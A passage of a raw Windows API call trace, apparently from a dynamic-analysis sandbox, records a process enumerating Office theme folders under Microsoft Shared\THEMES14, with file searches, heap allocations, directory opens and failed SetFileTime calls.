ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.570] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00400 [0061.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffa80 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01588 [0061.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.571] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffaa0 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01690 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x940) returned 0x9fa458 [0061.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa01ba8) returned 1 [0061.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.571] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffac0 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01798 [0061.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.571] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffae0 [0061.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa018a0 [0061.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.572] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.572] GetLastError () returned 0x12 [0061.572] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.572] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0061.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0061.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.572] GetLastError () returned 0x12 [0061.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa002f8) returned 1 [0061.572] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa00400) returned 1 [0061.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0061.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0061.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0061.574] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa01ba8 [0061.574] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa01ba8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa01ba8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa01ba8) returned 1 [0061.574] NtClose (Handle=0x16c) returned 0x0 [0061.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.575] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.575] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.575] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffb00 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00400 [0061.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.575] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffb20 [0061.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa002f8 [0061.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.576] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0061.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffb40 [0061.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa019a8 [0061.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.576] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0061.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.576] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0061.576] GetLastError () returned 0x12 [0061.576] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.576] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.576] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.576] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.576] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.577] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0061.577] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0061.577] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0061.577] GetLastError () returned 0x12 [0061.577] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.577] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0061.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0061.577] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa03ba8 [0061.577] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa03ba8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa03ba8, 